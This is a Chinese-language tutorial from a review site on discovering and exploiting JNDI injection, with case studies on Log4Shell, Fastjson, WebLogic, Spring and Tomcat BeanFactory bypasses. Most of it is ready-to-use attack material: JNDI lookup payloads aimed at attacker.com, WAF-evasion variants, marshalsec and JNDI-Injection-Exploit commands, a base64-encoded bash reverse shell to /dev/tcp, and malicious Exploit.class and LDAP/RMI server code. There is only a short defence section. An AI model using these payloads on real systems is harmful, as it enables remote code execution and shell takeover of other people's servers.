一、JNDI 注入的原理
-
核心逻辑:
-
JNDI 是 Java 提供的统一资源访问接口,支持通过名称(如
ldap://example.com/obj
)动态加载远程对象。 -
当攻击者能控制 JNDI 的查找地址(如输入参数被拼接到
InitialContext.lookup()
中)时,可指向恶意服务器地址,触发目标加载远程恶意类(如.class
或.jar
),最终实现 RCE。
-
-
关键依赖条件:
-
目标应用使用低版本 Java(JDK ≤ 8u191/11.0.1/7u201/6u211,这些版本未默认关闭远程类加载)。
-
存在未过滤的输入点传递给 JNDI 接口(如日志打印、参数解析等)。
-
二、黑盒发现 JNDI 注入漏洞
1. 识别潜在输入点
-
HTTP 参数/Headers/Cookie:例如
username=${jndi:ldap://xxx}
。 -
文件上传/下载功能:文件名、文件内容中嵌入 JNDI Payload。
-
API 接口:JSON/XML 数据中的字段(如用户注册信息、订单信息)。
-
日志上下文:如用户代理(User-Agent)、Referer 等可能被 Log4j2 记录的位置。
2. 构造探测 Payload
-
基础 Payload:使用
DNSLog
回显验证是否存在漏洞:${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://attacker.com:1099/exploit}
-
绕过 WAF 的变形:
${${lower:j}ndi:ldap://xxx} // 大小写混淆 ${jndi:ldap://127.0.0.1#.xxx.dnslog.cn} // 利用 URL 解析特性 ${jndi:ldap://127.0.0.1:1234/ Basic/Command/Base64/[base64-encoded-cmd]}
3. 使用工具辅助验证
-
DNSLog 平台:
-
生成临时域名(如
ceye.io
、dnslog.cn
),观察是否有 DNS 请求记录。
-
-
Burp Collaborator:
-
在 Burp Suite 中生成 Collaborator 地址,替换到 Payload 中,检查是否有 HTTP/DNS 交互。
-
三、JNDI 注入的利用步骤
1. 环境准备
-
恶意服务器搭建:
-
使用工具快速启动 LDAP/RMI 恶意服务:
# 使用 marshalsec 工具 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#ExploitClass" # 使用 JNDI-Injection-Exploit 工具 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" -A 127.0.0.1
-
-
恶意类文件托管:
-
在 Web 服务器(如 Python HTTP 服务)上托管恶意
.class
或.jar
文件。
-
2. 生成恶意 Payload
-
简单命令执行:
${jndi:ldap://attacker.com:1389/Exploit}
-
反弹 Shell(需编码绕过特殊字符):
${jndi:ldap://attacker.com:1389/Exploit}
-
恶意类
Exploit.class
的代码示例:public class Exploit { static { try { Runtime.getRuntime().exec("bash -c {echo,<base64-encoded-cmd>}|{base64,-d}|{bash,-i}"); } catch (Exception e) {} } }
-
3. 触发漏洞
-
将构造的 Payload 发送到目标输入点(如 HTTP 请求参数、文件上传等)。
-
观察恶意服务器的日志,确认目标是否请求了恶意类文件:
[LDAP] Send LDAP reference result for Exploit redirecting to http://attacker.com/Exploit.class
4. 绕过限制
-
高版本 Java 的利用(JDK > 8u191):
-
若目标禁用远程类加载,尝试利用本地类(如
Tomcat ELProcessor
、Groovy
等)进行二次攻击。
-
-
上下文限制:
-
如果 Payload 被截断或过滤,尝试分块传输、编码混淆(如 Unicode、Hex)。
-
四、典型案例:Log4j2 的 Log4Shell
-
漏洞触发条件:
-
目标使用 Log4j2 版本 ≤ 2.14.1,且日志记录中包含用户可控的数据(如 HTTP Header)。
-
-
攻击步骤:
-
发送 Payload 到 User-Agent:
GET / HTTP/1.1 User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}
-
目标应用记录日志时触发 JNDI 解析,加载恶意类。
-
五、防御建议
-
升级依赖:
-
升级 Log4j2 到 ≥ 2.17.1,禁用 JNDI 功能(设置
log4j2.formatMsgNoLookups=true
)。
-
-
代码层面:
-
避免将用户输入直接传递给
InitialContext.lookup()
。
-
-
环境加固:
-
使用 JDK ≥ 8u191/11.0.1,设置
com.sun.jndi.ldap.object.trustURLCodebase=false
。
-
-
WAF 规则:
-
拦截包含
${jndi:
、$%7Bjndi:
等模式的请求。
-
六、总结
-
发现重点:寻找所有可能的输入点,通过 DNSLog 快速验证漏洞存在。
-
利用难点:绕过高版本 JDK 限制(需结合其他漏洞链)。
-
实战技巧:善用工具(如
marshalsec
、JNDI-Injection-Exploit
)和混淆技术,优先在测试环境中验证 Payload。
根据案例深入分析
以下是基于实际漏洞和案例的JNDI注入实战解析,涵盖不同场景、协议和框架的利用方式,并融合绕过WAF的技巧:
1. Fastjson反序列化漏洞中的JNDI注入
漏洞原理
Fastjson 1.2.24及以下版本的反序列化功能存在缺陷,攻击者可通过@type
属性指定恶意类(如com.sun.rowset.JdbcRowSetImpl
),触发setDataSourceName()
和setAutoCommit()
方法,进而通过JNDI加载远程恶意类实现RCE。
-
关键代码:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker.com:1099/Exploit","autoCommit":true}
利用步骤
-
构造恶意RMI服务:使用
marshalsec
工具启动RMI服务器,指向托管恶意类的HTTP服务:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker.com/#Exploit
-
托管恶意类:编写并编译
Exploit.class
,包含命令执行代码(如Runtime.getRuntime().exec("calc")
),通过Python HTTP服务托管。 -
触发漏洞:发送构造的JSON Payload至目标Fastjson反序列化接口,触发JNDI加载恶意类。
绕过WAF技巧
-
编码混淆:对
jndi:
或协议名进行URL编码(如%6a%6e%64%69
)。 -
分块传输:通过HTTP分块传输绕过WAF对固定长度的检测。
2. Log4j2的Log4Shell漏洞(CVE-2021-44228)
漏洞原理
Log4j2在记录日志时,若日志内容包含${jndi:ldap://...}
格式的字符串,会触发JNDI解析,动态加载远程恶意类。该漏洞影响Log4j2 ≤2.14.1版本。
利用步骤
-
构造Payload:注入到HTTP请求头(如
User-Agent
):GET / HTTP/1.1 User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}
-
搭建LDAP服务:使用
JNDI-Injection-Exploit
工具生成恶意LDAP链接,托管恶意类:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -i >& /dev/tcp/attacker.com/4444 0>&1" -A attacker.com
-
反弹Shell:通过Base64编码绕过特殊字符限制,监听端口获取Shell。
绕过WAF技巧
-
协议切换:使用
ldap://
、dns://
或rmi://
混合协议。 -
嵌套表达式:如
${${lower:j}ndi:ldap://...}
,混淆关键字。
3. Oracle WebLogic JNDI注入(CVE-2024-20931)
漏洞原理
WebLogic未对JNDI查找接口的输入进行过滤,攻击者可控制lookup()
参数,通过LDAP协议加载远程恶意类,实现RCE。
复现步骤
-
环境搭建:使用Docker启动漏洞镜像:
docker run -dit -p 7001:7001 ismaleiva90/weblogic12
-
验证漏洞:发送包含JNDI Payload的请求,通过DNSLog确认漏洞存在。
-
反弹Shell:生成Base64编码的反弹Shell命令,启动JNDI注入工具:
java -jar JNDI-Injection-Exploit.jar -C "bash -c {echo,<base64-cmd>}|{base64,-d}|{bash,-i}" -A attacker_ip
高版本JDK绕过
-
本地类利用:结合Tomcat的
ELProcessor
类或Groovy动态加载本地类,绕过trustURLCodebase=false
限制。
4. JNDI + LDAP注入实战
漏洞场景
适用于JDK ≤8u191的环境,LDAP协议默认允许远程类加载,攻击者通过LDAP服务返回恶意Reference
对象。
利用流程
-
恶意类构造:编写
Exploit.java
,编译为Exploit.class
,托管于HTTP服务器。 -
启动LDAP服务:使用
marshalsec
工具:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker.com/#Exploit 1389
-
触发漏洞:客户端调用
InitialContext.lookup("ldap://attacker.com:1389/Exploit")
,加载恶意类执行命令。
防御绕过
-
利用LDAP的上下文污染:通过多次参数传递或分号分隔绕过黑名单检测。
5. Spring框架中的JNDI注入(CVE-2018-1273)
漏洞原理
Spring Framework的表达式解析漏洞(SpEL)与JNDI结合,攻击者通过注入表达式触发InitialContext.lookup()
,实现RCE。
利用步骤
-
构造Payload:通过HTTP参数注入:
username=${jndi:ldap://attacker.com/Exploit}
-
结合SpEL:利用表达式解析漏洞动态执行JNDI请求。
以下基于搜索结果中的技术细节,总结多个 未被前述案例覆盖的JNDI注入实战案例,结合不同协议、框架和绕过技术,提供详细解析:
6. Tomcat BeanFactory 绕过JDK高版本限制
漏洞背景
在JDK 8u191及以上版本中,RMI/LDAP协议默认禁用远程类加载(com.sun.jndi.ldap.object.trustURLCodebase=false
),但可通过结合Tomcat的BeanFactory
类实现绕过。
利用流程
-
恶意服务端构造:
// 服务端代码示例 ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true); ref.add(new StringRefAddr("forceString", "x=eval")); // 强制调用eval方法 ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); ReferenceWrapper wrapper = new ReferenceWrapper(ref); registry.bind("calc", wrapper); // RMI服务绑定
-
触发漏洞:
客户端调用lookup("rmi://attacker.com:1099/calc")
时,Tomcat的BeanFactory
会解析forceString
参数,反射调用eval
方法执行JavaScript代码,最终弹出计算器。
关键点
-
依赖注入:需目标应用包含Tomcat的
catalina.jar
和el-api.jar
依赖。 -
绕过限制:利用本地类
ELProcessor
的表达式执行能力,避免远程类加载。
7. LDAP协议结合UnboundID库的JNDI注入
漏洞场景
攻击者搭建LDAP服务器,利用unboundid-ldapsdk
库返回恶意Reference
对象,触发客户端加载远程类。
复现步骤
-
LDAP服务端搭建:
// LDAPServer.java InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com"); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://attacker.com:8081/#Exploit"))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); ds.startListening(); // 监听1234端口
-
恶意类托管:
编译Exploit.class
并启动HTTP服务(python -m http.server 8081
)。 -
客户端触发:
InitialContext ctx = new InitialContext(); ctx.lookup("ldap://attacker.com:1234/Exploit"); // 触发LDAP查询
攻击链分析
-
LDAP响应:服务端返回的LDAP条目包含
javaCodeBase
指向恶意HTTP服务器,客户端自动加载并实例化Exploit.class
,执行静态代码块中的命令。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)